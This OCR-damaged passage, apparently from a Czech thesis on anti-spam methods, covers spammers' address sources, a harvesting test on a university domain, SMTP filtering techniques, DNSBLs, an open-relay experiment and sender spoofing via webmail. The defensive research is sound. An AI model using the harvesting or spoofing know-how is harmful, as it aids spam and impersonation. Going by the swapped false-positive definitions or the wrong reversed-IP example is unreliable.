registracich. Jinym typem seznamu jsou nelegaln¢ vytvotené, ty jsou obchodovany

Vv Sedé zoné na specializovanych forech. Plati se obvykle za urcité mnozstvi adres.

Ttetim zdrojem zprav jsou vlastni analyzy webovych stranek, kde dochazi ke snaze
najit emailovou adresu a zapsat si ji do seznamu. Nasledné je na tyto adresy zasilan
spam. Velmi dobie k tomuto slouZzi firemni webové stranky, kde jsou emailové adresy

snadno dostupné a také fora, kde uzivatelé maji v profilu vidét svou emailovou adresu.

Dalsim dobrym zdrojem jsou fetézové zpravy, které uzivatelé rozesilaji, aniz by
smazali plvodni hlavicku, lze tak nalézt fetézové dopisy, které obsahuji stovky

emailovych adres (vlastni vyzkum autora).

Poslednim je pak ¢innost malware, ktery po instalaci na pocita¢ ziskava informace
Z ulozenych adres, naptiklad v programu Microsoft Outlook. Tyto adresy jsou také
velmi cenné, nebot’ jsou pouzivané uZivatelem a jsou tak zranitelné vici podvrzenym

zpravam s falesnou identitou (vlastni vyzkum autora), (Chris Kanich, 2008).
Email harvestor

Jednoucelové programy urcené pro sbér emailovych adres z webovych stranek a
dalSich voln€ dostupnych zdroji. Mohou byt silnym a rychlym néstrojem pro ziskani
emailovych adres z redlnych webovych stranek. Tyto adresy maji vyhodu v tom, ze
skutecné existuji a jejich obsah uzivateli pravidelné kontroluji. Zejména pro webové
stranky firem predstavuji kontakty dulezitou c¢ast pro komunikaci se zdkaznikem.
Problém ptedstavuje jejich ziskani. Bohuzel je spojeno s riziky. Podobny software (pro
ne zcela legalni ¢innosti) byva doplnén o dalsi ,,funkce* — naptiklad malware (vlastni

vyzkum autora).
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Obrazek 6 — Vystup z analyzy dostupnosti emailii na doméné www.pef.czu.cz (vlastni vyzkum autora)

Byla prohledana doména www.pef.czu.cz do 5. arovné odkazu. Kromé emailovych
adres na doméné czu.cz byly detekovany i adresy mimo tuto doménu. Cim hlubsi
pohled, tim vice Casu by prochdzeni zabralo a zaroven pii dobfe nastavenym
bezpecnostnich néstrojich na serveru by vzbudilo podezieni. Zajimavé jsou statistiky
— bylo prohledani 2805 stranek z celkové nalezenych 3105 (hledani bylo autorem

ptedcasné¢ ukonceno) a nalezeno 125 emailovych adres.

|Founduds 312 pasedus 2605 Founditens 125 |

Obrazek 7 — Pocet prohledanych stranek a pocet ziskanych emailovych adres (vlastni vyzkum autora)

Pokud pouzijeme podobné nastroje, 1ze pfi prohledani vyznamnych stranek ziskat

velké mnozstvi emailovych adres.
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Sdéleni

Spam musi uzivateli sdélit svlj obsah tak, by byl co nejhtie odhalitelny
antispamovymi filtry a zaroven Citelny uzivatelem. Pro prezentaci se pouzivaji tyto

zpusoby (vlastni vyzkum autora):

e Piiloha

e 'V textu zpravy

e Obrazek
e Video
e Odkaz

e No delivery report

e Oznameni 0 zpravé — LinkedIn, Twitter, Facebook
1.1.5 Vykonové ukazatele antispamovych nastrojl

Kli¢em Kk efektivnimu boji se spamem v emailovych schrankach je spravné nastaveni
jednotlivych nastrojii. Zpravidla se jedna o kontrolu RFC doporuceni pro
elektronickou poStu. Spam je odesildn s dirazem na rychlost, nikoliv na korektni
dodrzovani standardd. Zaroven Se tak snizuje $ance najit odesilajici pocita¢. Pro
hodnoceni antispamovych nastrojui prioritni stanoveni spamovosti dané elektronické
zpravy (Zac Sadan). Jeji spravnost je zakladnim hodnoticim kritériem. Dil¢imi jsou
pak chyby v hodnoceni zprav a jejich ¢etnost (Thiago S. Guzella, 2009), (Jing-Ming
Guo, 2014).:

e Chybné kladné hodnoceni (false positive) — chyba v hodnoceni zpravy —
chyba I. typu, spam je propustén do schranky jako ham.

e Chybné zaporné hodnoceni (false negative) — chyba v hodnoceni zpravy —
chyba II. typu, ham je vymazan ¢i umistén do karantény jako spam — opak
k false negative.

e Utinnost — procento usp&sné odfiltrovanych zprav z celkového podtu.
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Z vyse uvedenych parametri Ize zhodnotit jednotlivé dil¢i metody (Jianying Zhou,
2007):

Tabulka 1 — Zhodnoceni dilé¢ich metod

Metoda Chybné negativni Chybné pozitivni
Zakazové seznamy | Vysoké Nizké

(black list)

Povolené seznamy | Stfedni Vysoké

(white list)

Analyza klicovych slov | Vysoké Vysoké
Hodnoceni odesilatele Stedni Stiedni

Vyzva — odpovéd’ Stfedni Nizké

Mikroplatby Neni mozné zhodnotit — jiny princip ¢innosti
Hash filtrace Vysoké Stredni

Analyza hlavicky Vysoké Nizké

Detailni analyza Stredni Nizkeé

Uméla inteligence Sttedni Vysoké

Mateni adres Neni mozné zhodnotit — jiny princip ¢innosti

Lze dohledat metody, které si kladou za cil maximalizovat pfesnost klasifikace a
zabranit tak pfistupu spamu do uZzivatelskych schranek. V téchto vyzkumech ov§em
absentuje souvisejici parametr, ktery je nutno vzit v ivahu. Tento parametr lze
prozatim definovat jako narocnost na systémoveé zdroje. Tedy vypocetni a kapacitni
hodnoceni danych metod. Toto je dilezité pii velmi vytizené servery, které nejsou
schopny vyuzit vSechny dostupné nastroje pro klasifikaci zprav, nebot’ by to v redlném

Case nezvladaly (Seznam.cz, 2014).
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1.1.6 Klasifikace antispamovych nastroju

Pro dalsi zkoumani je zapottebi rozd¢€lit antispamové nastroje do charakteristickych
skupin. Toto rozd€leni umozni lepsi analyticky pohled na pouzivané metody detekce
spamu. Klasifikace antispamovych nastroji v odborné a védecké literatute respektuje
primarné jejich zaméfent:

e Pravidla

e Vynuceni RFC

e Autentizaci

e A dalsi

Autor prace toto rozdéleni povazuje za validni nicméné na niz$i Grovni, nez ktera je
pro potfeby prace vhodna. Proto rozdélil antispamové nastroje do tii skupin dle

slozitosti (Vlastni vyzkum autora):

e Flementarni
e Pokrocilé

e Kombinované
Elementarni nastroje
Tyto nastroje vyuzivaji jednoslozkové metody pro detekci spamu dle piesné jednoho
kritéria. Slouzi jako dil¢i metody V ramci kombinovanych ndstroja, ptipadné jako
metody aplikované pro prvotni analyzy. Pouzivané detekéni metody jsou jednoduché
(srovnani IP adres, quit detection, ...) a nevyzaduji pfili§ systémovych zdrojt.
Jako typické prvotni filtrovani 1ze povaZovat antivirovy software.

Pokrocilé nastroje
vykazuji vSak lepsi vykonnostni parametry. Jako ukazkovy ptiklad lze zde zminit
neuronové sité. Tento nastroj dokaze po urcitém Casovém obdobi (u€eni se) urcovat

spamovost velmi piesné. Nevyhodou jsou vSak vysoké naroky na systémové zdroje a

jeho nasaditelnost je tak diskutabilni (Seznam.cz, 2014), (vlastni vyzkum autora).
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Kombinované nastroje

Cestou pro dobré vykony antispamového feseni je kombinace vybranych néstroju, je
nutné toto feSeni sledovat a upravovat jednotlivé vahy dil¢im metodam a optimalizovat
tak vysledky hodnoceni. Typickym piedstavitelem je SpamAssassin pouzivany na

emailovych serverech pod opera¢nim systémem Linux.
1.2 Elementdrni antispamové ndstroje

Uzivatel je klicovym prvkem ekonomiky spamu. On svymi akcemi podporuje ¢innost
spammert a generuje vydélky zadavatelim téchto reklamnich kampani. Proto je nutné,
aby uzivatel¢ zménili své chovani a svou pasivitou vici témto zpravam piispéli k nizsi
poptavce po sluzbach na rozesilani nevyzadanych zprav. Pojmem uzivatel zde
rozumime uzivatele internetu, véetné firem a soukromych osob. Na strané¢ jednotlivcl
je tkolem minimalizovat akce, na strané€ vlastnikil internetovych stranek pak omezeni
moznosti ziskat emailovou adresu. Vzhledem k malému povédomi béznych uzivatelt
o nebezpeCi zneuziti jejich pocitacii (stejné jako v prostfedi malych firem bez
kvalitniho personalniho zabezpeceni), je k dispozici spammerim stale velké mnozstvi
pocitact, které mohou ovladnout prostfednictvim malware a nasledn€ pouzivat pro své

aktivity.

Nasledujici protiakce jsou urCeny k znesnadnéni ¢innosti spammera (Luiz Henrique

Gomes, 2006):

e Pied odeslanim zpravy — micropayment, hashpayment, ...
e Pii odesilani zpravy — autentifikace, ...
e Pred akceptovanim zpravy — blacklist, whitelist, ...

e Po akceptovani zpravy — analyza obsahu — Bayesovské filtrovani, ...

Optimalnim stavem je soucinnost opatfeni ze vSech skupin najednou tak, aby byla
maximalizovana ucinnost antispamovych opatieni a zdroveil minimalizovéana

chybovost a vypocetni zatiZeni.
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1.2.1 Nastroje vyZadujici striktni dodrZovani RFC standard(

Velmi dilezitym aspektem (kromé standardnich hodnoceni) je také narocnost na
zdroje. Pii konzultaci zamért prace S odborniky z praxe bylo sdéleno, ze veskeré
pokrocilé metody jsou pro jejich objem zprav piili§ naro¢né na vypocetni zdroje. Jejich

potiebou je minimalni ¢asova a hardwarova naro¢nost (Seznam.cz, 2014).

Pasivni opatieni vychazeji ze skutecnosti, Ze spam je na internetu piitomen a nesnazi
se jej potlacovat, ,,pouze® ztézuji prunik spamovych zprav do schranek uzivatelt.
Efektem téchto opatfeni je mensi pocet spamovych zprav, které proniknou
k uzivatelim do schranek. Velké mnozstvi jich témito opatfenimi neprojde a zmensuje

tak Sanci na vydélek spammera a jeho objednavatele.

Na serveru je nutné aplikovat jednotliva opatieni postupné — vrstvena ochrana. Kli¢em
je rozhodnout, které metody hodnoceni emailovych zprav pouzijeme a jaka bude jejich
navaznost. Jako prvni by méla byt pouzita takova metoda, kterd je nejméné narocna
na vypocetni vykon, ale zaroveil dokaze eliminovat vyznamnéj$i mnoZzstvi

nevyzadanych zprav.

100 emails 100 emails 100 emails
— » : E—
Server Client-
[ -Level » Level >
100 spam 10 spam 0 spam

Obrazek 8 - Naslednost antispamovych metod (Jianying Zhou, 2007)

"Sure Spam"' "Sure Spam"' ""Sure Spam"' "Sure Spam"'
SYN packet Network Content ;
Email —[DNS Blacklist ‘Z‘ Pistares é Festocis R / User
"Sure Ham"

Obrazek 9 - Podrobna posloupnost antispamovych metod (Tu Ouyang, 2014)

Pro spammera je dilezité odeslat co nejvice zprav za jednotku ¢asu z daného pocitace
¢i zafizeni. Proto jeho SMTP server je postaven na zékladnich funkcich nutnych
Kk odeslani zpravy. V ptipad¢, ze ptijemctim server zacne vynucovat RFC standardy,
muze dojit k tomu, ze spam nebude dorucen, protoze zdrojovy server nebude schopen

pfipadnym dodatecnym poZadavkl vyhovét.
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Greeting delay

Po navézani spojeni posila pfijemctv emailovy server greeting banner — tedy
oznameni o navazani spojeni. Nasledna komunikace probihd az po piijeti tohoto
oznameni. Pro jednoduchou filtraci zdrojii emailovych zprav postacuje posunout
odeslani greeting banneru o nékolik sekund. Legitimni emailovy server pocka a zpravu
odesle az po pfijeti greeting banneru. Spambot na toto obvykle neceka a posila zpravy

rovnou — ty tak mohou byt zahozeny jako spam (vlastni vyzkum autora).
Hello/ehlo

Dalsi z RFC — ovéfuje se IP adresa zdrojového serveru s doménovym jménem
dostupnym ptes EHLO ptikaz. Pokud tyto zaznamy nesouhlasi, je nutné provést dalsi
kontrolu, nebot’ dle RFC neni mozné odmitnout zpravu pouze na zdklad¢ nesouhlasu

IP a doménového jména (Vlastni vyzkum autora).
Invalid pipelining

SMTP umoznuje odesilat zpravu vice uzivatelim najednou v ramci jednoho pokynu
uzivatele. SMTP standardné posle tyto pakety jednotlivé — kazda zprava je samostatny
objekt. Spammer v ramci uspory posila vice zprav se stejnou doménou jako jeden
objekt s vice adresaty uvnitt — tedy jako jediny piikaz. Toto Ize detekovat a zpravé
prifadit patfiéné ohodnoceni. Standardni SMTP servery takto zpravy neodesilaji

(Vlastni vyzkum autora).
Kontrola zénovych zaznami

Kazdé doménové jméno je popsano zonovym souborem (zdrojovy zaznam) DNS. Ten
obsahuje informace o IP adrese webového serveru, emailovych zdznamech a dalsi
informace. Spravné nastaveni je dulezité pro spravnou funkci emailového systému,
zejména tam, kde piijemce zpravy vyuZije nastroje vynucujici RFC standardy —
greylisting a dalsi. Pokud je zdrojovy server nakonfigurovan nespravnég, email piijemci

nedorazi.
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Typy zaznamt v zonovém souboru (Mockapetris):

e A (IPv4 adresa)
e AAAA (IPv6 adresa)
e CNAME (aliasy v ramci domény)
e MX (konfigurace elektronické posty) — adresa a priorita serveru pro piijem
elektronické posty — definice primarniho a zaloZzniho emailového serveru.
o MX 10 posta.vasilenko.cz — primarni server
o MX 20 mail.vasilenko.cz — sekundarni server
e PTR
o SOA.

Zbénovy soubor je nutné mit zapsany v souladu s RFC doporucenimi. Neékteré
antispamové nastroje penalizuji hodnoceni pravé nesouladem v nastaveni zénového
souboru. K tomuto zaznamu je potieba mit nakonfigurovany reverzni DNS zaznam
pro kontrolu IP adresy a domény. Pouze spravna konfigurace téchto zdznamii zabrani
false positive hodnoceni ¢i ptimo nedoruceni zpravy tam, kde filtr kontroluje soulad

nastaveni dle pfislusnych RFC (vlastni vyzkum autora).
Odmitnuti prvniho kontaktu (greylisting)

Ptijemciv server zjisti, zda jiz z dané emailové adresy doslo ke komunikaci. Pokud
ano, zprava je propusténa do uZzivatelské schranky. Pokud ne, je zprava pozdrZzena a
odesilateli je poslana zprava o ,,temporary error dle SMTP s kédem 4xx. Server by
mél zpravu poslat znovu. Spammeriv server toto obvykle nedéld, protoZze zpravy
pouze odesild a neuklada si je. Navic je nucen respektovat casové pravidlo, kdy je

mozné na tuto chybu reagovat mezi 25 minutami a 4 hodinami.
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Odpovéd’ diive nebo pozdéji bude hodnocena jako nezadouci a vysledkem bude opét

temporary error (vlastni vyzkum autora).

1. odeslani zprawy

= 4. zprava doruéena
- -]

2. zpravu
Ddesilatel nelze dorudit

MTA

3. opakované odeslani zpravy

1 >E )

: st oersun = 2. zprava dorufena
1. posilam dal&i zpravu - Zp

Obrazek 10 — Odmitnuti prvniho kontaktu

U legitimniho pozadavku je znovu poslani zpravy provedeno dle standardu a emailové

zprava je predana piijemci a odesilatel je zafazen do ovefenych adres.

Nevyhodou zde mize byt drobné zpomaleni prvni komunikace, coz pro firmy mtze
byt neptijemné nebo nezadouci (Sochor, 2010). Z pohledu zakaznika rozhoduje o jeho
navratu na dany elektronicky obchod mnoho faktort, jednim z nich je pravé rychlost
reakce (Hurych Lukas, 2014). Pokud greylisting oddali odpovéd’, mize to mit za
nasledek neuskutecnéni objednavky. Plati pro pfipad, ze zakaznik vznesl dotaz na

upiesnéni vlastnosti produktu a konkurence odpovédéla diive.
Quit detection

Kazdd komunikace prostiednictvim SMTP musi byt uzaviena QUIT zpravou.
Spammera to ovSem stoji ¢as a prenosovou kapacitu. Mnoho SMTP serveri
odpovédnych za rozesilani spamu tak toto ignoruje a QUIT zpravu neposila. To mize

byt dalsi z indicii, ze zprava je nevyzadana (vlastni vyzkum autora).
Nolisting

Vychazi z uplatnéni zasad RFC. V zénovém souboru pro doménu, na kterou je
doruc¢en email, jsou uvedeny dva zadznamy — pro primarni a sekundarni emailovy
server. V piipadé¢, Ze je primarni server nedostupny, je po urc¢ité dob€ email poslan na

zaloZzni. Nolisting tohoto principu vyuziva a jako primarni server je v zonovém
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souboru uveden nefunk¢ni odkaz. Pro legitimni zpravu toto predstavuje zdrzeni v fadu
minut. Spambot vSak chybové hlaseni ignoruje a zpravu znovu obvykle neposila

(Heron, 2009).

Diusledkem je potom stav, kdy spamova zprava na emailovy server potencionalniho
pfijemce viibec nedorazi. To se odrazi také na nizkém zatizeni daného serveru, nebot’

neni nucen zpracovavat vétsi mnozstvi zprav.

Ukéazka — vynatek ze zénového souboru

MX 10 yetti.vasilenko.cz. — chybny odkaz

MX 20 skutecny-postovni-server.vasilenko.cz

Je mozné také nastavit primarni server na skuteCny emailovy server, ale s tim
omezenim, Ze za pomoci IP tables zablokujeme piichozi spojeni na port 25 — tedy port
SMTP protokolu a povolime jej pouze pro znamé a ovéteni IP adresy — spojime princip

nolistingu s whitelisty.

Ukazkovy zapis iptables (vlastni vyzkum autora):

iptables -A INPUT -p tcp --destination-port 25 -m
iprange --src-range 10.11.0.0/16 -j ACCEPT
iptables -A INPUT -p tcp --destination-port 465 -m
iprange --src-range 10.11.0.0/16 -j ACCEPT

V tomto zapise je povoleno piipojeni pomoci SMTP a Sifrovaného SMTP na porty 25
a 465 pouze z lokalni sité¢ —ato z adres 10.11.0.0 — 10.11.255.255 (kde vSechny adresy
nejsou pouzitelné pro sitova zatizeni).

Tarpitting

Jedna se o vkladani prodlev do komunikace prostiednictvim SMTP protokolu (tar
pitting). Dojde k opozdénym odpovédim na piijaté pakety. Tak se zpomali nejenom
spam, ale také legitimni komunikace. Botnet na toto zpomaleni nereaguje, jeho cilem

je posilat velkd mnoZstvi zprav. Tarpit vstupuje do komunikace v okamziku, kdy dojde

k TWH (three-way-handshake) — navazani TCP/IP komunikace.
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V ptipadé bézného spojeni je druhému pocitaci (serveru) sdéleno Cislo sekvence, ktera
je o¢ekavana — velikost okna. Napiiklad ack 1 win 10 (DF) — o¢ekavame sekvenci 1,
paket s pofadovym ¢&islem 10. Pii pouziti tar pittingu pak oznameni vypada

nasledovné:
ack 1 win 0 (DF),

ocekavame sice stale sekvenci Cislo 1, ale paket s pofadovym Ccislem 0 — tedy

nepiijimame pakety. Komunikace po pfeddefinovanou dobu stoji (Spring, 2014).
Vyzva — odpovéd’ (challenge — response)

Server, ktery pfijimd zpravu, posle odesilatelskému serveru odpovéd s zadosti o
uzivatelskou akci. Naptiklad o kliknuti na odkaz ¢i odpovéd’ s urcitym predmétem
zpravy, zadani CAPTCHA odpovédi, vytvoieni fetézce ¢i odpovédi (soucet dvou
¢isel). Pak je na serveru piijemce vytvoieno pravidlo pro tuto emailovou adresu — je

ovéfena, ze za ni je skuteény ¢loveék (Jianying Zhou, 2007).

Problémem mohou byt pravé nékteré akce, které je mozné zpracovat strojové —
kliknuti na jiz vySe zminény link. Zpravy, po které jesté neni vytvoteno pravidlo, musi
byt nékde docasné ulozeny, coz pii zpracovani velkého mnozstvi zprav mize jiz Cinit

velky problém (vlastni vyzkum autora).
1.2.2 Klasifikace zalozend na pravidlech

Mimo vyZadovani respektovani RFC je moZné nastavit filtrovani obsahu podle predem
ptipravenych pravidel. Praveé zde je hlavni oblast nasazeni ASOLAP metodiky, nebot’
prave analyza agregovanych dat a hledani pravidelnosti seti zprav a odlisnosti setti od
legitimnich emailovych zprav, je doménou OLAP analytickych feSeni (Sorici, a dalsi,
2015).

Naptiklad ¢ast zprav je odeslani z ,,budoucnosti nebo ,,minulosti Neni problém
v ur¢itétmu objemu adres najit datum odeslani 1.1.1980 nebo 24.5.2016 (aktualni
datum Kk témto vzorkim je 20.2.2016). Jinym pravidlem je filtrace textovych fetézct
—naptiklad Viagra. Pokud email obsahuje toto slovo, mliZe byt oznacen jako podeziely

nebo rovnou jako spam a zahozen — zalezi na nastaveni emailového serveru.
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Zpravy lze také zkoumat z hlediska pravdépodobnosti vyskytu spamové zpravy

s ur¢itymi definovanymi mezemi — napiiklad (Luiz Henrique Gomes, 2006):

e MeziCasy ptichodu zprav — pokud zprava s podobnym obsahem ptichdzi ve
velkych skupinach velmi rychle po sob¢, pravdépodobnost spamovosti se
zvysuje

e Velikost emailu — shodna velikost zprav u velkého mnozstvi mize byt
znamkou spamu — skdre spamovosti se zvysuje

e Pocet pfijemct v hlavicce — plati spiSe pro fetézové dopisy a predavané zpravy.

e Casu a datum odeslani
Filtrace dle zemé ptivodu

Na zékladé téchto dat lze upravit pravidla v IP tables tak, aby zahazovala emailové
zpravy prichazejicich z IP adres, které byly pfidéleny danym zemim. Stejné tak 1ze

postupovat v piipadé domén prvniho fadu.

Pokud budeme uvazovat jako zemé&dé&lsky podnik v Ceské republice, miizeme
konstatovat, ze bez ekonomického dopadu muzeme ignorovat zpravy odesilané
zZ jinych zemi nez z Evropy. Pokud nemame jako maly podnik zahrani¢ni ambice, 1ze
jako krajni strategii ignorovat vSechny emailové zpravy, které pfichazeji odjinud, nez
z CR. Coz ale bude mit dopad na uZivatele pouZivajici emailové schranky zahrani¢nich

poskytovateltl emailovych sluzeb.
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Podle statistik Projektu Honeypot jsou mezi hlavnimi odesilateli spamu zem¢:

Tabulka 2 - Statistiky zemi jako zdroje nevyZadanych zprav

[ Cina 10,1%
= Brazilie 8,8%
— Spojené staty americké 7,1%
_— Némecko 6,4%
] Rusko 5,9%
= Turecko 5,2%
o Indie 5,0%
[ N | Italie 4,2%
‘el Jizni Korea 3,8%
== Velka Britanie 3,8%

Na zékladé téchto dat lze upravit pravidla v IP tables tak, aby zahazovala emailové
zpravy prichazejicich z IP adres, které byly pfidéleny danym zemim. Stejné tak lze
postupovat v ptipadé domén prvniho fadu.

V ptipadé opatrného piistupu lze ignorovat emaily z Ciny, Brazilie, Turecka a Jizni
Koreje — tak se vyhneme teoreticky cca 18% vSech emailovych zprav. K piipravé
pravidel mizeme vyuzit volné dostupné mapy IP adres, které reflektuji jejich vyskyt

po svéte.
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https://www.projecthoneypot.org/list_of_ips.php?t=s&ctry=CN
https://www.projecthoneypot.org/list_of_ips.php?t=s&ctry=BR
https://www.projecthoneypot.org/list_of_ips.php?t=s&ctry=US
https://www.projecthoneypot.org/list_of_ips.php?t=s&ctry=DE
https://www.projecthoneypot.org/list_of_ips.php?t=s&ctry=RU
https://www.projecthoneypot.org/list_of_ips.php?t=s&ctry=TR
https://www.projecthoneypot.org/list_of_ips.php?t=s&ctry=IN
https://www.projecthoneypot.org/list_of_ips.php?t=s&ctry=IT
https://www.projecthoneypot.org/list_of_ips.php?t=s&ctry=KR
https://www.projecthoneypot.org/list_of_ips.php?t=s&ctry=GB

Negativni seznam (blacklist)

Patiil k prvnim opatfenim, jeho funkce je jednoduchd — IP, emailova adresa nebo
doména, ze které piisel spam je oznacena jako nezadouci a zadna zprava z ni jiz neni
pusténa do schranky daného uzivatele. Veskera komunikace z této schranky je bez

doruceni vymazana (Jianying Zhou, 2007).

Blacklist je zhlediska zpravy rychly, ale jeho efekt je dnes problematicky.
Z analyzovanych zprav lze odvodit, Ze kazda spamova zprava pfisla z jiné IP adresy
(viz analyza vybraného setu nevyzadané zpravy). V mnoha piipadech pak jako
doména odesilatele je uvedena doména majitele dané emailové schranky (vlastni

vyzkum autora).

Blacklist mize byt nebezpecny v ptipade, Ze je zddouci emailovd adresa omylem
0znacena jako spam, pak miize dojit k zastaveni komunikace naptiklad se zdkaznikem
a K finan¢ni ztraté, je realitou i pro emailové adresy Ceské zemédé€lské univerzity v

Praze (vlastni vyzkum autora).

Distribuovany blacklist

MDA

iTal

Lokalni blackist

Obrazek 11 — Distribuovany blacklist (vlastni vyzkum autora)

Pozitivni seznam (whitelist)

Seznam emailovych adres ¢i celych doménovych jmen, od kterych se piichozi
emailova zprava nefiltruje a je pfimo dorucena uzivateli do schranky (Jianying Zhou,
2007). Slabinou je vsak moznost, ze pocitac ,,ovéfeného* uzivatele je napaden pomoci

malware a i odesilatel z pozitivniho seznamu neni zarukou, Ze zprava neni nevyzadana.
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Pozitivni seznam DNS (DNSWL)

Opacnou iniciativou je potom DNSWL.org, kde je ukladan zdznam divéryhodnych
odesilatelii, tedy IP adres, odkud spam nebyl detekovan. Poskytovatelé internetu ¢i
emailové servery se mohou registrovat a po ovéfeni jsou do tohoto listu zapsany.
Kladné hodnoceni pak lze opét uplatnit na trovni MTA ¢i bayesovského filtrovani

(Seewald, 2010), (Delany Sarah Jane, 2012).
Rozdéleni uzivateli

Ptikladem muze byt protokol EDMTP (extended differentiated mail transfer protocol).

Odesilatelé jsou rozdeleni do tii skupin:

e Blacklist
e Whitelist
e Graylist

Rozdéleni probiha na zakladé IP adresy odesilatele a doménového jména. Nasledna

akce je pak fizena dle pravidel:

e Blacklist — smazani ¢i piesunuti do slozky Spam
e Whitelist — doruceni adresatovy

e Graylist — predani adresatovi s zadosti o klasifikace zpravy — Spam x Ham

Jednd se o dalsi vyuziti hodnoceni odesilateli dle vybrané identifikace (IP adresa,
doména, emailova adresa). Je mozné vyuzit plug-in geoip a rozliSovat IP adresy
odesilateli dle zem¢ puvodu. Na zakladé ocekavanych kontaktd pak lze pro

vnitrozemské aktivity postihovat emaily se zahrani¢ni IP adresou.
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Prichozi zpravy

N

Megativni seznam Fozitivni seznam Frvni kontakt
Distribuovany Distribuowany Distribuowany
Fozitivni seznam Prvni kontalkt
Lokalni Lokalni

Zahozeni zpravy Schranka uzivatele

Y
Dalsi zpracovani

¥
Megativni seznam
Lokalni

Obrizek 12 - EDMTP (Jie Yang, 2014)

Zikazovy seznam vyuZivajici DNS (DNSBL)

Jedna se o modifikaci blacklistu tak, aby byl u¢inné&jsi proti ndhodné generovanym
adresam v hlavi¢ce emailovych zprav. Jedna se o blokaci jednotlivych IP adres nebo
celych rozsaht IP adres. O zafazeni na seznam blokovanych IP adres rozhoduje cetnost
jejich pfitomnosti ve spamovych zpravach. IP adresu totiz na rozdil od emailové
adresy prakticky nelze falSovat. VZdy je zdrojovy pocita¢ ¢i router, pies ktery jde
komunikace z vnitini sité identifikovan pravé svou IP adresou. Pokud je IP adresa
nepravem zablokovana, jsou zde moznosti jak ji opétovné z DNSBL vyjmout, nicméné
to je Casoveé narocné. Po dobu, kdy je IP adresa zafazena mezi spamovaci, nemusi z ni
byt mozné odesilat emailové zpravy, respektive zpravy jsou odmitnuty témi systémy,

které na DNSBL participuji (Delany Sarah Jane, 2012).

Puisobeni DNSBL bylo i v minulosti rozporovano pravnimi spory. Zaloby sméfovaly
zejména na odstranéni IP adresy po neopravnéném blokovani. DNSBL seznamy maji

velky prehled o IP adresdch, ze kterych je spam odesildn, zaroven se objevuji
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informace o zneuzivani DNSBL na lokalnich urovnich pro cenzuru komunikace.
Nutnosti v pripad¢ verejného DNSBL je publikovani politik, za kterych se dostanou

IP adresy na Cernou listinu.

Pro analyzu IP adres je mozné vyuzit jakykoliv DNS software dostupny pro dany
operac¢ni systém. Naptiklad bind pro Linux. Tyto softwary se vSak nechovaji spravn¢,
pokud jde o analyzu velmi rozsahlych DNS domén s velkym mnozstvim zaznami. Pak

je nutné instalovat specializovany software.
Postup hodnoceni IP adresy — server DNSBL je dnsbl.domena.tld

1. Piijata emailova zprava

2. Z hlavicky je parserem extrahovéana IP adresa — naptiklad 123.12.123.12

3. [P adresa je pfevedena na reverzni tvar 21.321.21.321

4. Reverzni adresa je pfipojena kadrese DNSBL  serveru —
21.321.21.321.dnsbl.nespamu.cz

o

DNSBL se dotaze DNS software na tento zdznam
6. Pokud zdznam neexistuje — tedy pro danou emailovou adresu nesouhlasi NX
zdznam v z6novém souboru domény, je zprava oznacena jako spam

7. Pro danou IP adresu je zvySeno skére spamovosti.

Stejn¢ tak mize byt oveéfena doména — URI DNSBL - dotazem
vasilenko.cz.dnsbl.nespamu.cz — pokud pro tuto doménu existuje A zaznam
Vv zonovém souboru dané domény a IP adresa koresponduje s odesilatelskou, je zprava
Vv poradku.
Hodnoceni IP nebo domény je obvykle ve tfech stupnich:

e OK - 1IP nebo doména prosly testy a zprava je legitimni

e Nominace — testy nebyly Gspé$né a zprava je pravdépodobné spam, danou IP

¢1 doménu ale DNSBL server v zdznamech nema, nebo mé malé skore, pak je

skore upraveno

e Spammer — IP ¢i doména ma jiz vysoké skore a zpravy z ni budou blokovany

Skore se v ¢ase miiZze snizovat, aby byl naptiklad eliminovan vliv ndhodného odesilani

zprav — napiiklad novy malware pted aktualizaci antivirovych software.
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Vyuziti DNSBL zaznami je mozné na n€kolika urovnich emailového serveru

e Aplikace hodnoceni pro MTA programy — naptiklad Sendmail a Postfix
umoznuji pouziti negativnich hodnoceni IP adres od vybraného DNSBL

e Uprava skore bayesovského filtru — napiiklad Spamassassinu, kde do
vysledného hodnoceni zpravy je mozné zapocitat i piitomnost IP adresy
odesilatele v DNSBL

e Piipadné dalsi vyuziti v individualné nastavovanych aplikacich

Dne 20.5.2013 byla IP adresa CZU 193.84.36.129 na webu dnsbl.info z 80 DNSBL

serveru uvedena v téchto sluzbach:

e Db.barracudacentral.org
e chl.abuseat.org
e dnsbl.inps.de

e ips.backscatterer.org

Pokud by adresat emailu z CZU pouzival jako jediny filtr ziznamy jednoho

z uvedenych DNSBL, email z CZU by byl oznagen jako spam a zahozen.
1.2.3 Autentifikace a podpisy

Jak je uvedeno vyse, zékladni technikou spammer je generovani obrovského
mnozstvi zprav béhem kratké doby z co nejvice pocitacli. Autor prace ponechal jeden
server v rezimu openrelay — tedy emailového serveru s otevienym piistupem — byla
vypnuta 1 funkce pro pfihlaSovani uZivatele. SMTP server byl tedy pfistupny pro

kohokoliv.
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Datovéa posloupnost (vlastni vyzkum autora):

e 24.5.2015 — server nastaven do rezimu OpenRelay

11.6.2015 — prvni odeslané zpravy ze serveru — 168 za den (ovéiovaci faze, zda

je server monitorovan

e 15.6.2015 — dalsi set zprav, tentokrat 974 zprav za hodinu (ziejm¢ druha
kontrola — koncentrované odesilani v kratkém ¢asovém intervalu)

e 17.6.2015 — zacCina vlastni zneuziti OpenRelay serveru — kazdou hodinu
odchazi praimérné 1200 zprav

e 18.6.2015 — po zhruba 38 hodinach je autor kontaktovan poskytovatelem VPS

a vyzvan ke kontrole zabezpeceni serveru (obnoven rezim odesilani pouze pro

ovetené a piihlasSeni uzivatele)

e 19.6.2015 — IP adresa serveru je na blacklistu 34 systému pro blacklisting.

Ovéteni odesilatele zpravy, respektive jeho pfislusnost k dané doméné a IP adrese
serveru umoziuje eliminovat zpravy odeslané s faleSnou hlavickou odesilatele.

FalSovani hlavicky emailu je velmi jednoduché a proveditelné v emailovém klientovi.

=)

< becting... | @ Symbioti... 1 £ zénovys... | W Domain... | Q Roun.. x | 3

& vasilenko.cz/posta/7_task=mail& v G | B~ Google Pl &8 & » = [ &
M Mail @ Address Book L_\ Settings Logout
3

Attachments From alexandr@vasilenko.cz [] Edit identities
To alexandr@vasilenko.cz |

roundcube

Free webmail for the masses

Add Cc | Add Bec | Add Reply-To | Add Followup-To
Subject

I

latal | | Send now || Cancel Check spelling [¥] Editor type Plain text ~

< 0 » »

Obrazek 13 - Zména identity odesilatele emailové zpravy (vlastni vyzkum autora)

Pokud pfijemciiv server nekontroluje souvislost IP adresy a domény, mize lehce

